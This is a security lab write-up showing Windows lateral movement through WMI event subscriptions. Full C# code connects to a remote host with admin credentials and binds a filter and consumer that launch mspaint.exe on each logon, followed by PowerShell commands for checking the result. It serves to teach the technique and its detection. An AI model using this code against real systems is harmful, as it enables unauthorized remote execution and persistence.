Lateral Movement via WMI Event Subscription

This is a quick lab to familiariaze with a lateral movement technique using WMI events, as described in @domchell aricle I Like to Move It: Windows Lateral Movement Part 1 – WMI Event Subscription - go check it out for more details, including detection ideas.

See my other lab related to persistence using WMI events:

T1084: Abusing Windows Managent Instrumentation

Walkthrough

The below C# code for WMI events based lateral movement does a couple of things:

Line	Action
29 - 33	Connects to the remote endpoint 192.168.56.105 using local admin credentials spotless:123456
33 - 46	Creates a new WMI filter evilSpotlessFilter on 192.168.56.105. It will get triggered when a new logon session is created on 192.168.56.105
49 - 52	Creates a WMI consumer evilSpotlessConsumer on 192.168.56.105. This consumer executes mspaint.exe on 192.168.56.105, when the filter evilSpotlessFilter is triggered (upon new logon session creation)
55 - 58	WMI filter evilSpotlessFilter and WMI consumer evilSpotlessConsumer are bound. In layman's terms, the system 192.168.56.105 is instructed to DEFINITELY fire mspaint.exe on each new logon session that is created on the system.

// code completely stolen from @domchell article 
// https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/
// slightly modified to accommodate this lab

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management;

namespace wmisubscription_lateralmovement
{
    class Program
    {
        static void Main(string[] args)
        {

            // Connect to remote endpoint for WMI management
            string NAMESPACE = @"\\192.168.56.105\root\subscription";

            ConnectionOptions cOption = new ConnectionOptions();
            ManagementScope scope = null;
            scope = new ManagementScope(NAMESPACE, cOption);

            scope.Options.Username = "spotless";
            scope.Options.Password = "123456";
            scope.Options.Authority = string.Format("ntlmdomain:{0}", ".");

            scope.Options.EnablePrivileges = true;
            scope.Options.Authentication = AuthenticationLevel.PacketPrivacy;
            scope.Options.Impersonation = ImpersonationLevel.Impersonate;
            scope.Connect();

            // Create WMI event filter
            ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("__EventFilter"), null);

            string query = "SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'";
            WqlEventQuery myEventQuery = new WqlEventQuery(query);

            ManagementObject myEventFilter = wmiEventFilter.CreateInstance();
            myEventFilter["Name"] = "evilSpotlessFilter";
            myEventFilter["Query"] = myEventQuery.QueryString;
            myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
            myEventFilter["EventNameSpace"] = @"root\cimv2";
            myEventFilter.Put();

            // Create WMI event consumer
            ManagementObject myEventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance();
            myEventConsumer["Name"] = "evilSpotlessConsumer";
            myEventConsumer["ExecutablePath"] = "mspaint.exe";
            myEventConsumer.Put();

            // Bind filter and consumer
            ManagementObject  myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
            myBinder["Filter"] = myEventFilter.Path.RelativePath;
            myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
            myBinder.Put();

            // Cleanup
            // myEventFilter.Delete();
            // myEventConsumer.Delete();
            // myBinder.Delete();

        }
    }
}

Observations

Once connect method is called, a couple of connections from the attacking machine (top right) are initiated to the target machine 192.168.56.105 (bottom right) over port TCP 135 (traffic receiver is svchost.exe as it's hosting the RPC service through which we are communicating):

After the code has executed, it will have created the WMI event filters, consumers and bind them on the target host 192.168.56.105.

On the target host, we can check if the said filters and consumers were created like so:

# view wmi filters
Get-WmiObject -Class __EventFilter -Namespace root\subscription

# view wmi consumers
Get-WmiObject -Class __EventConsumer -Namespace root\subscription

# view bindings
Get-WmiObject -Class __FilterToConsumerBinding -Namespace root\subscription

Below shows output of the evilSpotlessFilter WMI filter we created on the target system:

Demo

Below shows the WMI events based lateral movement technique in action:

• On the left, we compile and run the code that creates WMI event filters, consumers and binds them together

• In the top right corner - ther is a ProcMon that is set to capture when a new mspaint.exe process starts. In our case, it should start once there is a new logon session created on the system (remember, because of the evilSpotlessFilter)

• In the bottom right corner there is a powershell console initiating a new logon session with runas.exe. Once the authentication succeeds, a new logon session is created, cmd.exe is spawned and the WMI event filter evilSpotlessFilter is triggered and WMI event consumer evilSpotlessConsumer kicks off the mspaint.exe:

References

I Like to Move It: Windows Lateral Movement Part 1 - WMI Event Subscription - MDSecMDSec

CommandLineEventConsumer class - Win32 appsdocsmsft